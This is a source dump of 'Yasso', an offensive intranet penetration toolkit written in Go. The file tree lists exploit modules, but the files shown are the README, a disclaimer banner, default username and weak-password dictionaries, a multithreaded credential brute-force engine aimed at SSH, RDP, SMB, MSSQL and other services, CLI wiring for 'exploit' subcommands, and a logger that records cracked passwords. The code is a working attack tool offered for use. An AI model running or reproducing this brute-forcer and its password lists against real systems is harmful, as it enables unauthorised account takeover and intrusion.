├── .idea ├── Yasso.iml ├── modules.xml ├── vcs.xml └── workspace.xml ├── README.md ├── cmd └── cmd.go ├── config ├── banner │ └── banner.go ├── config.go └── rules.go ├── core ├── brute │ └── brute.go ├── flag │ └── flag.go ├── logger │ └── logger.go ├── parse │ ├── parse_ip.go │ └── parse_port.go ├── plugin │ ├── all.go │ ├── brute.go │ ├── dcerpc.go │ ├── eternalblue.go │ ├── ftp.go │ ├── grdp.go │ ├── icmp.go │ ├── memcache.go │ ├── mongo.go │ ├── mssql.go │ ├── mysql.go │ ├── nbns_test.go │ ├── nbnsscan.go │ ├── oxidscan.go │ ├── postgres.go │ ├── ps.go │ ├── redis.go │ ├── rmi.go │ ├── smb.go │ ├── smbghost.go │ ├── smbscan.go │ ├── ssh.go │ ├── winrm.go │ └── zookeeper.go └── utils │ └── utils.go ├── example.txt ├── example ├── tcp_smb_test.go └── tcp_ssh_test.go ├── go.mod ├── go.sum ├── main.go ├── pkg ├── exploit │ ├── config │ │ ├── config.go │ │ └── tools.go │ ├── exploit.go │ ├── ldap │ │ ├── core │ │ │ ├── filter │ │ │ │ └── filter.go │ │ │ └── query │ │ │ │ ├── flags.go │ │ │ │ ├── object.go │ │ │ │ ├── query.go │ │ │ │ └── resolver.go │ │ └── ldap.go │ ├── mssql │ │ ├── mssql.go │ │ └── static │ │ │ └── SharpSQLKit.txt │ ├── redis │ │ ├── redis.go │ │ └── static │ │ │ └── exp.so │ ├── ssh │ │ └── ssh.go │ ├── sunlogin │ │ ├── sunlogin.go │ │ └── sunlogin_test.go │ └── winrm │ │ └── winrm.go ├── grdp │ ├── LICENSE │ ├── README.md │ ├── core │ │ ├── io.go │ │ ├── io_test.go │ │ ├── rle.go │ │ ├── rle_test.go │ │ ├── socket.go │ │ ├── types.go │ │ └── util.go │ ├── emission │ │ └── emitter.go │ ├── glog │ │ └── log.go │ ├── grdp.go │ ├── grdp_test.go │ └── protocol │ │ ├── lic │ │ └── lic.go │ │ ├── nla │ │ ├── cssp.go │ │ ├── encode.go │ │ ├── encode_test.go │ │ ├── ntlm.go │ │ └── ntlm_test.go │ │ ├── pdu │ │ ├── caps.go │ │ ├── cliprdr.go │ │ ├── data.go │ │ └── pdu.go │ │ ├── rfb │ │ └── rfb.go │ │ ├── sec │ │ └── sec.go │ │ ├── t125 │ │ ├── ber │ │ │ └── ber.go │ │ ├── gcc │ │ │ └── gcc.go │ │ ├── mcs.go │ │ └── per │ │ │ └── per.go │ │ ├── tpkt │ │ └── tpkt.go │ │ └── x224 │ │ └── x224.go ├── netspy │ ├── example │ │ ├── ip_test.go │ │ └── spy_test.go │ ├── icmp │ │ └── icmp.go │ └── spy │ │ └── spy.go ├── report │ └── report.go └── webscan │ ├── dismap.go │ └── http.go └── result.txt /.idea/Yasso.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Yasso 2 | 强大的内网渗透辅助工具集-让Yasso像风一样 支持rdp,ssh,redis,postgres,mongodb,mssql,mysql,winrm等服务爆破,快速的端口扫描,强大的web指纹识别,各种内置服务的一键利用(包括ssh完全交互式登录,mssql提权,redis一键利用,mysql数据库查询,winrm横向利用,多种服务利用支持socks5代理执行) 3 | 4 | # 新版功能 5 | 在原基础上更改扫描和爆破方式,去除不必要的功能,代码更加完善和整洁
6 | 增加协议上的识别和端口识别 7 | * 新版并未发布release版本,请自行clone去编译 8 | # 功能 9 | ``` 10 | Usage: 11 | Yasso [command] 12 | 13 | Available Commands: 14 | all Use all scanner module (.attention) Traffic is very big 15 | completion Generate the autocompletion script for the specified shell 16 | exploit Exploits to attack the service 17 | help Help about any command 18 | service Detection or blasting services by module 19 | 20 | Flags: 21 | -h, --help help for Yasso 22 | --output string set logger file (default "result.txt") 23 | ``` 24 | 25 | - all 一键扫描功能 26 | - exploit 常见服务利用(sqlserver,redis,ssh,向日葵等) 27 | - service 服务爆破和子扫描模块 28 | 29 | 详情请-h参考 30 | -------------------------------------------------------------------------------- /cmd/cmd.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "Yasso/core/flag" 5 | "Yasso/core/logger" 6 | "os" 7 | ) 8 | 9 | func Execute() { 10 | file, err := os.OpenFile(logger.LogFile, os.O_APPEND|os.O_CREATE|os.O_SYNC, 0666) 11 | if err != nil { 12 | logger.Fatal("open logger file has an error", err.Error()) 13 | return 14 | } 15 | defer file.Close() 16 | flag.Execute() 17 | } 18 | -------------------------------------------------------------------------------- /config/banner/banner.go: -------------------------------------------------------------------------------- 1 | package banner 2 | 3 | import ( 4 | "fmt" 5 | ) 6 | 7 | func Banner() { 8 | fmt.Println("_____.___. ____ ___\n\\__ | |____ ______ __________\\ \\/ /\n / | \\__ \\ / ___// ___/ _ \\\\ / \n \\____ |/ __ \\_\\___ \\ \\___ ( <_> ) \\ \n / ______(____ /____ >____ >____/___/\\ \\\n \\/ \\/ \\/ \\/ \\_/") 9 | fmt.Println() 10 | fmt.Println("Refactoring version: Yasso v0.1.6") 11 | fmt.Println("法律免责声明:") 12 | fmt.Println("本工具仅面向合法授权的企业安全建设行为,如果需要测试本工具的可用性,请自行搭建靶场检测") 13 | fmt.Println("在使用本工具时,请确保你的操作符合当地的法律法规,并且获取到足够的授权,请勿对非授权目标使用") 14 | fmt.Println("使用本工具造成的非法行为,你需要自行承担后果,我们不受任何的法律及其连带责任,如果使用本工具,则视为接受本协议") 15 | fmt.Println("Github: github.com/sairson/Yasso") 16 | } 17 | -------------------------------------------------------------------------------- /config/config.go: -------------------------------------------------------------------------------- 1 | package config 2 | 3 | import "time" 4 | 5 | // ServiceConn service 连接所需要的结构体 6 | type ServiceConn struct { 7 | Hostname string 8 | Port int 9 | Domain string 10 | Timeout time.Duration 11 | PublicKey string 12 | } 13 | 14 | var UserDict = map[string][]string{ 15 | "ftp": {"kali", "ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"}, 16 | "mysql": {"root", "mysql"}, 17 | "mssql": {"sa", "sql"}, 18 | "smb": {"administrator", "admin", "guest"}, 19 | "rdp": {"administrator", "admin", "guest", "Oadmin"}, 20 | "winrm": {"administrator", "admin", "guest"}, 21 | "postgres": {"postgres", "admin"}, 22 | "ssh": {"root", "admin", "kali", "oracle", "www"}, 23 | "mongodb": {"root", "admin"}, 24 | "redis": {"root"}, 25 | } 26 | 27 | var PassDict = []string{"123456", "admin", "admin123", "12312", "pass123", "pass@123", "11", "password", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "kali"} 28 | 29 | var DefaultScannerPort = []int{21, 22, 25, 53, 69, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 110, 135, 137, 138, 139, 143, 389, 443, 445, 554, 587, 631, 800, 801, 808, 880, 888, 1000, 1024, 1025, 1080, 1099, 1389, 1433, 1521, 2000, 2001, 2222, 2601, 3306, 3307, 3388, 3389, 3443, 5800, 5900, 6379, 7000, 7001, 7007, 7010, 7788, 8000, 8001, 8002, 8003, 8004, 8005, 8006, 8007, 8008, 8009, 8010, 8011, 8030, 8060, 8070, 8080, 8081, 8082, 8083, 8084, 8085, 8086, 8087, 8088, 8089, 8090, 8091, 8092, 8093, 8094, 8095, 8096, 8097, 8098, 8099, 8161, 8175, 8188, 8189, 8443, 8445, 8448, 8554, 8800, 8848, 8880, 8881, 8888, 8899, 8983, 8989, 9000, 9001, 9002, 9008, 9010, 9043, 9060, 9080, 9081, 9082, 9083, 9084, 9085, 9086, 9087, 9088, 9089, 9090, 9091, 9092, 9093, 9094, 9095, 9096, 9097, 9099, 9443, 9448, 9600, 9628, 9800, 9899, 9981, 9986, 9988, 9998, 9999, 11001, 13443, 15000, 20000, 33890, 45554, 49155, 49156, 50050, 61616} 30 | 31 | var DefaultHeader = map[string]string{ 32 | "Accept-Language": "zh,zh-TW;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6", 33 | "User-agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36", 34 | "Cookie": "rememberMe=int", 35 | } 36 | 37 | type Format struct { 38 | Host string `json:"Host,omitempty"` // 主机地址 39 | Port []int `json:"Port,omitempty"` 40 | Service []*Service `json:"Service,omitempty"` 41 | Vulnerability []string `json:"Vulnerability,omitempty"` 42 | } 43 | 44 | type Service struct { 45 | Name string `json:"Name,omitempty"` 46 | Information []string `json:"Information,omitempty"` 47 | WeakPass []map[string]string `json:"WeakPass,omitempty"` // 一个服务可能有好几个口令,所以采用切片类型 48 | } 49 | 50 | var JSONSave []*Format 51 | -------------------------------------------------------------------------------- /core/brute/brute.go: -------------------------------------------------------------------------------- 1 | package brute 2 | 3 | import ( 4 | "Yasso/config" 5 | "Yasso/core/logger" 6 | "fmt" 7 | "math" 8 | "reflect" 9 | "strings" 10 | "sync" 11 | ) 12 | 13 | type Brute struct { 14 | user []string // 被枚举的用户名 15 | pass []string // 被枚举的密码 16 | bruteMethod interface{} // 枚举方法 17 | service string // 服务命令 18 | serviceConn config.ServiceConn // 服务连接 19 | thread int // 执行爆破的线程数 20 | output string // 结果输出路径 21 | noBrute bool // 是否执行爆破 22 | } 23 | 24 | func NewBrute(user, pass []string, method interface{}, service string, serviceConn config.ServiceConn, thread int, noBrute bool, output string) *Brute { 25 | return &Brute{ 26 | user: user, 27 | pass: pass, 28 | bruteMethod: method, 29 | output: output, 30 | service: service, 31 | thread: thread, 32 | serviceConn: serviceConn, 33 | noBrute: noBrute, 34 | } 35 | } 36 | 37 | // RunEnumeration 开始蛮力枚举 38 | func (b *Brute) RunEnumeration() { 39 | if b.noBrute == false { 40 | var wg sync.WaitGroup 41 | if len(b.user) == 0 { 42 | b.user = config.UserDict[b.service] // 获取对应端口的user列表 43 | } 44 | if len(b.pass) == 0 { 45 | b.pass = config.PassDict 46 | } 47 | var t int 48 | if len(b.pass) <= b.thread { 49 | t = len(b.pass) 50 | } else { 51 | t = b.thread 52 | } 53 | // 分割密码 54 | num := int(math.Ceil(float64(len(b.pass)) / float64(b.thread))) // 每个协程的user数量 55 | // 分割用户名 56 | all := map[int][]string{} 57 | for i := 1; i <= t; i++ { 58 | for j := 0; j < num; j++ { 59 | tmp := (i-1)*num + j 60 | if tmp < len(b.pass) { 61 | all[i] = append(all[i], b.pass[tmp]) 62 | } 63 | } 64 | } 65 | for i := 1; i <= t; i++ { 66 | wg.Add(1) 67 | tmp := all[i] 68 | go func(tmp []string) { 69 | defer wg.Done() 70 | for _, p := range tmp { 71 | for _, u := range b.user { 72 | // 开始爆破,带有用户名密码的服务 73 | if strings.Contains(p, "{user}") { 74 | p = strings.ReplaceAll(p, "{user}", u) 75 | } 76 | if b.export(b.call(b.serviceConn, u, p), b.serviceConn.Hostname, b.serviceConn.Port, b.service, u, p, b.output) { 77 | return 78 | } 79 | } 80 | } 81 | }(tmp) 82 | } 83 | wg.Wait() 84 | } 85 | } 86 | 87 | // call 函数调用,爆破将会调用该模块去执行操作操作 88 | func (b *Brute) call(params ...interface{}) []reflect.Value { 89 | f := reflect.ValueOf(b.bruteMethod) 90 | if len(params) != f.Type().NumIn() { 91 | logger.Fatal(fmt.Sprintf("call func %v has an error", b.bruteMethod)) 92 | return nil 93 | } 94 | args := make([]reflect.Value, len(params)) 95 | for k, param := range params { 96 | if param == "" || param == 0 { 97 | continue 98 | } 99 | args[k] = reflect.ValueOf(param) 100 | } 101 | return f.Call(args) 102 | } 103 | 104 | // 结果验证 105 | func (b *Brute) export(v []reflect.Value, host string, port int, service, user, pass string, output string) bool { 106 | var mutex sync.Mutex 107 | for _, value := range v { 108 | switch value.Kind() { 109 | case reflect.Bool: 110 | if value.Bool() == true { 111 | mutex.Lock() 112 | logger.Success(fmt.Sprintf("brute %v:%v success [%v:%v][%v]", host, port, user, pass, service)) 113 | logger.JSONSave(host, logger.WeakPassSave, service, map[string]string{user: pass}) 114 | mutex.Unlock() 115 | return true 116 | } 117 | } 118 | } 119 | return false 120 | } 121 | -------------------------------------------------------------------------------- /core/flag/flag.go: -------------------------------------------------------------------------------- 1 | package flag 2 | 3 | import ( 4 | "Yasso/core/logger" 5 | "Yasso/core/plugin" 6 | "Yasso/pkg/exploit" 7 | "github.com/spf13/cobra" 8 | "os" 9 | "time" 10 | ) 11 | 12 | type allFlags struct { 13 | Hosts string // 全局变量 标识ip列表或文件路径 14 | Ports string // 全局变量 标识扫描的端口 15 | Timeout int // 全局变量 标识超时时间 16 | NoCrack bool // 全局变量 标识all模块是否开启爆破 17 | NoAlive bool // 全局变量 是否采用ping来判断存活主机 18 | User string // 全局变量 标识all模块爆破使用用户名字典 19 | Pass string // 全局变量 标识all模块爆破使用密码字典 20 | Thread int // 全局变量 标识all模块扫描时的线程数 21 | NoService bool // 全局变量 标识all模块是否探测服务 22 | NoVulcan bool // 全局变量 标识all模块是否进行主机层漏扫 23 | } 24 | 25 | type BurpFlags struct { 26 | Hosts string // 全局变量,标识ip列表或文件路径 27 | Method string // 爆破的服务名称 28 | User string // 爆破时采用的用户字典 29 | Pass string // 爆破时采用的密码字典 30 | Thread int // 爆破时采用的线程数 31 | Timeout int // 爆破的超时时间 32 | IsAlive bool // 爆破前是否检测存活 33 | } 34 | 35 | var burp BurpFlags 36 | var all allFlags 37 | 38 | var rootCmd = &cobra.Command{ 39 | Use: "Yasso", 40 | Short: "\n_____.___. ____ ___\n\\__ | |____ ______ __________\\ \\/ /\n / | \\__ \\ / ___// ___/ _ \\\\ / \n \\____ |/ __ \\_\\___ \\ \\___ ( <_> ) \\ \n / ______(____ /____ >____ >____/___/\\ \\\n \\/ \\/ \\/ \\/ \\_/\n", 41 | } 42 | 43 | var allCmd = &cobra.Command{ 44 | Use: "all", 45 | Short: "Use all scanner module (.attention) Traffic is very big", 46 | Run: func(cmd *cobra.Command, args []string) { 47 | if all.Hosts == "" { 48 | _ = cmd.Help() 49 | return 50 | } 51 | scanner := plugin.NewAllScanner(all.Hosts, all.Ports, all.NoAlive, all.NoCrack, all.User, all.Pass, all.Thread, time.Duration(all.Timeout)*1000*time.Millisecond, all.NoService, all.NoVulcan) 52 | scanner.RunEnumeration() 53 | }, 54 | } 55 | 56 | var serviceCmd = &cobra.Command{ 57 | Use: "service", 58 | Short: "Detection or blasting services by module", 59 | Run: func(cmd *cobra.Command, args []string) { 60 | if burp.Hosts == "" { 61 | _ = cmd.Help() 62 | return 63 | } 64 | plugin.BruteService(burp.User, burp.Pass, burp.Hosts, burp.Method, burp.Thread, time.Duration(burp.Timeout)*1000*time.Millisecond, burp.IsAlive) 65 | }, 66 | } 67 | 68 | var ExpCmd = &cobra.Command{ 69 | Use: "exploit", 70 | Short: "Exploits to attack the service", 71 | Run: func(cmd *cobra.Command, args []string) { 72 | if cmd.HasSubCommands() { 73 | _ = cmd.Help() 74 | } 75 | }, 76 | } 77 | 78 | func init() { 79 | rootCmd.PersistentFlags().StringVar(&logger.LogFile, "output", "result.txt", "set logger file") 80 | allCmd.Flags().StringVar(&logger.LogJson, "json", "", "设置json格式输出文件") 81 | allCmd.Flags().StringVarP(&all.Hosts, "hosts", "H", "", "设置扫描的目标参数(.eg) \n[192.168.248.1/24]\n[192.168.248.1-255]\n[example.txt]") 82 | allCmd.Flags().StringVar(&all.Ports, "ports", "", "设置扫描的端口参数(.eg) null将采用默认端口号 top 1000") 83 | allCmd.Flags().IntVar(&all.Timeout, "timeout", 1, "设置扫描的超时时间 默认1秒") 84 | allCmd.Flags().BoolVar(&all.NoCrack, "no-crack", false, "设置扫描时是否爆破脆弱服务") 85 | allCmd.Flags().BoolVar(&all.NoAlive, "no-alive", false, "设置扫描时是否先检测主机存活") 86 | allCmd.Flags().StringVar(&all.User, "user-dic", "", "设置扫描时爆破采用的用户名字典 (.eg) null将采用默认用户名字典") 87 | allCmd.Flags().StringVar(&all.Pass, "pass-dic", "", "设置扫描时爆破采用的密码字典 (.eg) null将采用默认密码字典") 88 | allCmd.Flags().IntVar(&all.Thread, "thread", 500, "设置扫描时的扫描线程 (.eg) 默认500 线程") 89 | allCmd.Flags().BoolVar(&all.NoService, "no-service", false, "设置扫描时是否探测服务") 90 | allCmd.Flags().BoolVar(&all.NoVulcan, "no-vuln", false, "设置扫描时是否检测主机层漏洞") 91 | rootCmd.AddCommand(allCmd) 92 | serviceCmd.Flags().StringVarP(&burp.Hosts, "hosts", "H", "", "设置扫描的目标参数(.eg) \n[192.168.248.1/24]\n[192.168.248.1-255]\n[example.txt]") 93 | serviceCmd.Flags().StringVar(&burp.Method, "module", "", "指定要爆破的服务名称(.eg) \n[mssql,ftp,ssh,mysql,rdp,postgres,redis,winrm,smb,mongo]\n以逗号分割,可同时爆破多个服务(--module ssh:22,mysql:3306,rdp:3389)") 94 | serviceCmd.Flags().IntVar(&burp.Thread, "thread", 500, "设置扫描时的扫描线程 (.eg) 默认500 线程") 95 | serviceCmd.Flags().StringVar(&burp.User, "user-dic", "", "设置扫描时爆破采用的用户名字典 (.eg) null将采用默认用户名字典") 96 | serviceCmd.Flags().StringVar(&burp.Pass, "pass-dic", "", "设置扫描时爆破采用的密码字典 (.eg) null将采用默认密码字典") 97 | serviceCmd.Flags().IntVar(&burp.Timeout, "timeout", 1, "设置爆破的超时时间 默认1秒") 98 | serviceCmd.Flags().BoolVar(&burp.IsAlive, "is-alive", true, "爆破前是否进行ping检测存活") 99 | rootCmd.AddCommand(serviceCmd) 100 | rootCmd.AddCommand(ExpCmd) 101 | // 利用模块命令 102 | ExpCmd.AddCommand(exploit.MssqlCmd) 103 | ExpCmd.AddCommand(exploit.SshCmd) 104 | ExpCmd.AddCommand(exploit.WinRmCmd) 105 | ExpCmd.AddCommand(exploit.RedisCmd) 106 | ExpCmd.AddCommand(exploit.SunLoginCmd) 107 | ExpCmd.AddCommand(exploit.LdapReaperCmd) 108 | } 109 | 110 | func Execute() { 111 | if err := rootCmd.Execute(); err != nil { 112 | os.Exit(0) 113 | } 114 | } 115 | -------------------------------------------------------------------------------- /core/logger/logger.go: -------------------------------------------------------------------------------- 1 | package logger 2 | 3 | import ( 4 | "Yasso/config" 5 | "encoding/json" 6 | "fmt" 7 | "github.com/gookit/color" 8 | "os" 9 | "sync" 10 | ) 11 | 12 | var ( 13 | Cyan = color.Cyan.Render 14 | Red = color.Red.Render 15 | LightGreen = color.Style{color.Green, color.OpBold}.Render 16 | LightRed = color.Style{color.Red, color.OpBold}.Render 17 | ) 18 | 19 | const ( 20 | PortSave = 1 21 | HostSave = 2 22 | WeakPassSave = 3 23 | InformationSave = 4 24 | VulnerabilitySave = 5 25 | ) 26 | 27 | var LogFile string 28 | var LogJson string 29 | var mutex sync.Mutex 30 | 31 | func Info(in ...interface{}) { 32 | mutex.Lock() 33 | var all []interface{} 34 | for k, v := range in { 35 | if k == len(in)-1 { 36 | all = append(all, fmt.Sprintf("%v", v)) 37 | } else { 38 | all = append(all, fmt.Sprintf("%v ", v)) 39 | } 40 | } 41 | fmt.Println(fmt.Sprintf("[%s] ", Cyan("*")) + fmt.Sprint(all...)) 42 | 43 | file, err := os.OpenFile(LogFile, os.O_APPEND|os.O_CREATE|os.O_SYNC, 0666) 44 | if err != nil { 45 | Fatal("open file has an error", err.Error()) 46 | return 47 | } 48 | defer file.Close() 49 | _, _ = file.WriteString(fmt.Sprintf("[*] " + fmt.Sprint(all...) + "\n")) 50 | mutex.Unlock() 51 | } 52 | 53 | func Success(in ...interface{}) { 54 | mutex.Lock() 55 | var all []interface{} 56 | for k, v := range in { 57 | if k == len(in)-1 { 58 | all = append(all, fmt.Sprintf("%v", v)) 59 | } else { 60 | all = append(all, fmt.Sprintf("%v ", v)) 61 | } 62 | } 63 | fmt.Println(fmt.Sprintf("[%s] ", LightGreen("+")) + fmt.Sprint(all...)) 64 | 65 | file, err := os.OpenFile(LogFile, os.O_APPEND|os.O_CREATE|os.O_SYNC, 0666) 66 | if err != nil { 67 | Fatal("open file has an error", err.Error()) 68 | return 69 | } 70 | defer file.Close() 71 | _, err = file.WriteString(fmt.Sprintf("[+] " + fmt.Sprint(all...) + "\n")) 72 | mutex.Unlock() 73 | } 74 | 75 | func Fatal(in ...interface{}) { 76 | var all []interface{} 77 | for k, v := range in { 78 | if k == len(in)-1 { 79 | all = append(all, fmt.Sprintf("%v", v)) 80 | } else { 81 | all = append(all, fmt.Sprintf("%v ", v)) 82 | } 83 | } 84 | fmt.Println(fmt.Sprintf("[%s] ", Red("#")) + fmt.Sprint(all...)) 85 | } 86 | 87 | // JSONSave 保存json格式数据 88 | func JSONSave(host string, t int, in ...interface{}) { 89 | if LogJson != "" { 90 | switch t { 91 | case VulnerabilitySave: 92 | for _, v := range config.JSONSave { 93 | // 服务存在 94 | if v.Host == host { 95 | v.Vulnerability = append(v.Vulnerability, in[0].(string)) 96 | } 97 | } 98 | case PortSave: 99 | // 端口存储 100 | var flag = false 101 | for _, v := range config.JSONSave { 102 | // 服务存在 103 | if v.Host == host { 104 | v.Port = in[0].([]int) // 将端口存储 105 | flag = true 106 | } 107 | } 108 | if flag == false { 109 | config.JSONSave = append(config.JSONSave, &config.Format{ 110 | Host: host, 111 | }) 112 | for _, v := range config.JSONSave { 113 | // 服务存在 114 | if v.Host == host { 115 | v.Port = in[0].([]int) // 将端口存储 116 | flag = true 117 | } 118 | } 119 | } 120 | case HostSave: 121 | // 主机存储 122 | config.JSONSave = append(config.JSONSave, &config.Format{ 123 | Host: host, 124 | }) 125 | case WeakPassSave: 126 | // 这里存储json的服务弱口令 127 | for _, v := range config.JSONSave { 128 | // 服务名称已经有了,那么将口令加到它的WeakPass种 129 | // 如果主机之前也是存活的 130 | if v.Host == host { 131 | // 遍历主机的服务列表 132 | var flag = false 133 | for _, value := range v.Service { 134 | if value.Name == in[0].(string) { // 服务名 135 | value.WeakPass = append(value.WeakPass, in[1].(map[string]string)) 136 | flag = true // 证明服务存在 137 | } 138 | } 139 | // 证明host存在 140 | if flag == false { 141 | v.Service = append(v.Service, &config.Service{ 142 | Name: in[0].(string), //服务名 143 | WeakPass: []map[string]string{in[1].(map[string]string)}, 144 | }) 145 | } 146 | // 证明host存在 147 | if flag == false { 148 | v.Service = append(v.Service, &config.Service{ 149 | Name: in[0].(string), //服务名 150 | WeakPass: []map[string]string{in[1].(map[string]string)}, 151 | }) 152 | } 153 | } 154 | } 155 | case 4: 156 | // 这里information字段 157 | for _, v := range config.JSONSave { 158 | // 服务名称已经有了,那么将口令加到它的WeakPass种 159 | // 如果主机之前也是存活的 160 | if v.Host == host { 161 | // 遍历主机的服务列表 162 | var flag = false 163 | for _, value := range v.Service { 164 | if value.Name == in[0].(string) { // 服务名 165 | value.Information = append(value.Information, in[1].(string)) 166 | flag = true // 证明服务存在 167 | } 168 | } 169 | // 证明host存在 170 | if flag == false { 171 | v.Service = append(v.Service, &config.Service{ 172 | Name: in[0].(string), //服务名 173 | Information: []string{in[1].(string)}, 174 | }) 175 | } 176 | } 177 | } 178 | } 179 | // 将以json格式保存,文件将会保存全局变量存储的结果集 180 | } 181 | } 182 | 183 | func LoggerSave() { 184 | if LogJson != "" { 185 | body, err := json.Marshal(config.JSONSave) 186 | if err != nil { 187 | Fatal("save json marshal failed", err.Error()) 188 | return 189 | } 190 | filePtr, err := os.Create(LogJson) 191 | if err != nil { 192 | fmt.Println("文件创建失败", err.Error()) 193 | return 194 | } 195 | defer filePtr.Close() 196 | // 创建Json编码器 197 | _, _ = filePtr.Write(body) 198 | } 199 | } 200 | -------------------------------------------------------------------------------- /core/parse/parse_ip.go: -------------------------------------------------------------------------------- 1 | package parse 2 | 3 | import ( 4 | "Yasso/core/logger" 5 | "bufio" 6 | "errors" 7 | "fmt" 8 | "github.com/projectdiscovery/cdncheck" 9 | "net" 10 | "os" 11 | "path" 12 | "path/filepath" 13 | "regexp" 14 | "sort" 15 | "strconv" 16 | "strings" 17 | "sync" 18 | ) 19 | 20 | // ReadFile 从文件中读取数据 21 | func ReadFile(filename string) ([]string, error) { 22 | file, err := os.Open(filename) 23 | if err != nil { 24 | logger.Fatal("open file has an error", err.Error()) 25 | return nil, err 26 | } 27 | defer file.Close() 28 | scanner := bufio.NewScanner(file) 29 | scanner.Split(bufio.ScanLines) 30 | var re []string 31 | for scanner.Scan() { 32 | text := strings.TrimSpace(scanner.Text()) 33 | if text != "" { 34 | re = append(re, text) 35 | } 36 | } 37 | re = Duplicate(re) // 去重 38 | return re, nil 39 | } 40 | 41 | // ConvertDomainToIpAddress 将域名转换成ip地址 42 | func ConvertDomainToIpAddress(domains []string, thread int) ([]string, error) { 43 | checkChan := make(chan string, 100) 44 | var wg sync.WaitGroup 45 | var re []string 46 | for i := 0; i < thread; i++ { 47 | wg.Add(1) 48 | go func() { 49 | defer wg.Done() 50 | for host := range checkChan { 51 | if strings.Count(host, ".") == 3 && len(strings.Split(host, ":")) == 2 { 52 | // 这种是带有端口的ip地址 53 | re = append(re, host) 54 | continue 55 | } 56 | ip, err := net.LookupHost(host) 57 | if err != nil { 58 | continue 59 | } 60 | if ip != nil { 61 | // 证明存在cdn,直接丢掉即可(不跑带有cdn的域名) 62 | if len(ip) >= 2 { 63 | logger.Info(fmt.Sprintf("%s has cdn %v", host, ip[:])) 64 | continue 65 | } else { 66 | for _, i := range ip { 67 | re = append(re, i) 68 | } 69 | } 70 | } 71 | } 72 | }() 73 | } 74 | for _, domain := range domains { 75 | if strings.Contains(domain, "http://") { 76 | domain = strings.TrimPrefix(domain, "http://") 77 | } 78 | if strings.Contains(domain, "https://") { 79 | domain = strings.TrimPrefix(domain, "https://") 80 | } 81 | checkChan <- domain 82 | } 83 | close(checkChan) 84 | wg.Wait() 85 | re = Duplicate(re) // 去重 86 | return re, nil 87 | } 88 | 89 | // cdnFilter cdn过滤器 90 | func cdnFilter(ip string, client *cdncheck.Client) string { 91 | if found, _, err := client.Check(net.ParseIP(ip)); found && err == nil { 92 | return ip 93 | } 94 | return "" 95 | } 96 | 97 | // Duplicate 去重 98 | func Duplicate(slc []string) []string { 99 | var re []string 100 | temp := map[string]byte{} 101 | for _, v := range slc { 102 | l := len(temp) 103 | temp[v] = 0 104 | if len(temp) != l { 105 | re = append(re, v) 106 | } 107 | } 108 | return re 109 | } 110 | 111 | // RegIpv4Address 匹配ipv4 112 | func RegIpv4Address(context string) string { 113 | matched, err := regexp.MatchString("((2(5[0-5]|[0-4]\\d))|[0-1]?\\d{1,2})(\\.((2(5[0-5]|[0-4]\\d))|[0-1]?\\d{1,2})){3}", context) 114 | if err != nil { 115 | return "" 116 | } 117 | if matched { 118 | return context 119 | } 120 | return "" 121 | } 122 | 123 | func HandleIps(ip string) ([]string, error) { 124 | var Unprocessed []string 125 | var err error 126 | var basic []string 127 | 128 | if strings.Contains(ip, ".txt") { 129 | if strings.ToLower(path.Ext(filepath.Base(ip))) == ".txt" { 130 | // 文件后缀为.txt的话,我们按照文件解析并获取数据结果 131 | Unprocessed, err = ReadFile(ip) 132 | if err != nil { 133 | return []string{}, err 134 | } 135 | } 136 | /* 137 | 这里获取到的数据格式可能为 138 | 192.168.248.1/24 139 | 192.168.248.1-155 140 | www.baidu.com 141 | 192.168.248.1:3389 142 | https://www.baidu.com 143 | */ 144 | 145 | // 第一波解析开始,解析ip地址格式 146 | for _, i := range Unprocessed { 147 | switch { 148 | case RegIpv4Address(i) != "" && (strings.Count(i, "/24") == 1 || strings.Count(i, "/16") == 1): 149 | temp, err := ConvertIpFormatA(i) 150 | if err != nil { 151 | logger.Fatal("parse ip address has an error", err.Error()) 152 | return []string{}, err 153 | } 154 | basic = append(basic, temp...) 155 | case RegIpv4Address(i) != "" && strings.Count(i, "-") == 1 && !strings.Contains(i, "/"): 156 | fmt.Println(i) 157 | temp, err := ConvertIpFormatB(i) 158 | if err != nil { 159 | logger.Fatal("parse ip address has an error", err.Error()) 160 | return []string{}, err 161 | } 162 | basic = append(basic, temp...) 163 | case strings.Contains(i, "https://") || strings.Contains(i, "http://"): 164 | if strings.Contains(i, "https://") { 165 | basic = append(basic, strings.ReplaceAll(i, "https://", "")) 166 | } 167 | if strings.Contains(i, "http://") { 168 | basic = append(basic, strings.ReplaceAll(i, "https", "")) 169 | } 170 | default: 171 | basic = append(basic, i) 172 | } 173 | } 174 | // 第一波解析完成,开始第二波解析,解析域名 175 | basic = Duplicate(basic) // 第一次去重 176 | basic, err = ConvertDomainToIpAddress(basic, 100) 177 | if err != nil { 178 | logger.Fatal("parse domain has an error", err.Error()) 179 | return nil, err 180 | } 181 | basic = Duplicate(basic) // 第二次去重 182 | } else { 183 | basic, err = ConvertIpFormatAll(ip) 184 | if err != nil { 185 | logger.Fatal("parse ip address has an error", err.Error()) 186 | return []string{}, err 187 | } 188 | } 189 | 